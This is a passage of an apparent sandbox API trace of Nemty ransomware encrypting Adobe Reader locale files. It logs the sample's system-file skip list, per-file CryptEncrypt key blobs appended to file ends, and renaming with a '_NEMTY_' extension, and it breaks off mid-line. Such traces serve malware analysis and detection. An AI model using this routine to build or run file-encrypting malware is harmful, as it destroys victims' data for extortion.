lstrcmpiW (lpString1="PDDom.RUS", lpString2=".") returned 1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="..") returned 1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="...") returned 1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="windows") returned -1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="rsa") returned -1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="NTDETECT.COM") returned 1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="ntldr") returned 1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="MSDOS.SYS") returned 1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="IO.SYS") returned 1 [0183.011] lstrcmpiW (lpString1="PDDom.RUS", lpString2="boot.ini") returned 1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="boot.ini") returned 1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="ntuser.dat") returned 1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="desktop.ini") returned 1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="CONFIG.SYS") returned 1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="RECYCLER") returned -1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="bootmgr") returned 1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="programdata") returned -1 [0183.012] lstrcmpiW (lpString1="PDDom.RUS", lpString2="appdata") returned 1 [0183.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUS", lpUsedDefaultChar=0x0) returned 9 [0183.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUS", lpUsedDefaultChar=0x0) returned 9 [0183.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUS", lpUsedDefaultChar=0x0) returned 9 [0183.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUS", lpUsedDefaultChar=0x0) returned 9 [0183.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.012] Sleep (dwMilliseconds=0x5) [0183.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20bbc830, dwHighDateTime=0x1d561e8)) [0183.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20bbc830, dwHighDateTime=0x1d561e8)) [0183.017] GetLastError () returned 0x0 [0183.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.017] GetLastError () returned 0x0 [0183.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.017] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.017] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.017] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.018] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="2JmtYVDc5qSxgy2NRrtizeIUhXnXHDVvNgJ+fnpF1eKEQRTZIOtE6746pZCHAYXy\r\nTK/2CAHtQzc0BaZJfOoUsvERm0Tow/X8xCxwFMlfWwRzaUT5bqZlBl8UCoHF8zKt\r\nyLJlGhlfmP42GExJTQzSbwJm7AD+tJ4vpSqc7gzNcxh1ze6DYYyvf+X6Ra9NNrcv\r\neKSr505WGN9wn/pSkN+CC5FSrmJm0jic58eWNYIfiT/PbRohwYAfJn2aodEViloi\r\nxXWfdiR4OBFnbnRyhjrMwb6150wuKsuppfg1Hc48gI9a4Zuqd6lYyo4WVp0OII6M\r\n8lBrvL1H2GSMGDXWf/mYWw==\r\n", pcchString=0x653e5dc) returned 1 [0183.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PDDom.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\pddom.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.019] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0183.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0183.019] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.019] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0183.021] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.021] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0183.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.021] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0183.021] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.021] CloseHandle (hObject=0x2e8) returned 1 [0183.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.022] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PDDom.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\pddom.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PDDom.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\pddom.rus._nemty_kgobjgd_")) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.023] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.RUS", cAlternateFileName="")) returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2=".") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="..") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="...") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="windows") returned -1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="rsa") returned -1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="NTDETECT.COM") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="ntldr") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="MSDOS.SYS") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="IO.SYS") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="boot.ini") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="boot.ini") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="ntuser.dat") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="desktop.ini") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="CONFIG.SYS") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="RECYCLER") returned -1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="bootmgr") returned 1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="programdata") returned -1 [0183.023] lstrcmpiW (lpString1="PPKLITE.RUS", lpString2="appdata") returned 1 [0183.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUS", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.024] Sleep (dwMilliseconds=0x5) [0183.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20be2990, dwHighDateTime=0x1d561e8)) [0183.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20be2990, dwHighDateTime=0x1d561e8)) [0183.033] GetLastError () returned 0x0 [0183.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.033] GetLastError () returned 0x0 [0183.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.033] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.033] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.033] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.033] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="2RZxmLnLetgNHet2XvDy8JkehWkAXxf80B3tmoRO4z/ldrLurHkRLwkApt+Z/GMa\r\nwYhNFv/9M/uyoGTBCMoDe9wWVTmJ/kht6Hcw1XvxaFFuvxzx+SI/ZO/7TyjaWV0x\r\n8LAr2lIq5sxhTRbJFuHJvCD/UGzua0sM0hzmEkMytAk4poOYSNZ1X2U2NDrznUy7\r\nNJPPCOc8NIlW/gRHGXzHqqGCmg9Ht697t8lfnZk2QJkjQEZaqgIWvKYNvY4/dUtx\r\n8IQBFOMmvk2P/raws2zzFEEC6yGxsbaYF1vU0/Pt9Ujy3YWWPiqdNSbBL/RrsJQT\r\nvZw89zhb/ajYgyCK5GeIpw==\r\n", pcchString=0x653e5dc) returned 1 [0183.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PPKLITE.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ppklite.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.034] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=525312) returned 1 [0183.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.034] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.034] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.043] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.043] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.043] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=525312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80400 [0183.043] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.045] CloseHandle (hObject=0x2e8) returned 1 [0183.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.046] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PPKLITE.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ppklite.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PPKLITE.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ppklite.rus._nemty_kgobjgd_")) returned 1 [0183.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: 